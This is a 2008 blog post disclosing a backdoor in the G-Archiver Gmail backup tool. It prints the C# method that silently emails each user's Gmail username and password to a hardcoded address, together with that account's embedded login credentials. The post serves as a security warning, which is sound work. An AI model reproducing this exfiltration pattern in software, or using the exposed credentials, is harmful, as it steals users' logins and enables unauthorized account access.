Backdoor in G-Archiver - Gmail Backup Solution

Wednesday, March 12, 2008

What does G-Archiver do ?

G-Archiver is a Gmail backup solution

It helps you free up space on your gmail account, You can download Attachments etc from your gmail account.

There was a backdoor found in G-Archiver which used to email the username and password of the user that used to connect to gmail with this application.

As I say this is just the tip of iceberg, There are many applications we might not be aware of that might be snooping around in your privacy.

The code that was responsible for this backdoor is here:

public static void CheckConnection(string a, string b)
{
try
{
MailMessage message = new MailMessage();
message.To.Add(”JTerry79@gmail.com”);
message.From = new MailAddress(”JTerry79@gmail.com”, “JTerry”, Encoding.UTF8);
message.Subject = “Account”;
message.SubjectEncoding = Encoding.UTF8;
message.Body = “Username: ” + a;
message.Body = message.Body + “\r\nPassword: ” + b;
message.BodyEncoding = Encoding.UTF8;
message.IsBodyHtml = false;
message.Priority = MailPriority.High;
SmtpClient client = new SmtpClient();
client.Credentials = new NetworkCredential(”JTerry79@gmail.com”, “bilal482″);
client.Port = 0×24b;
client.Host = “smtp.gmail.com”;
client.EnableSsl = true;
client.Send(message);
}
catch (Exception)
{
}
}


Avoid using tempting applications because they are very deceiving and sometimes cruel.

-- Anish

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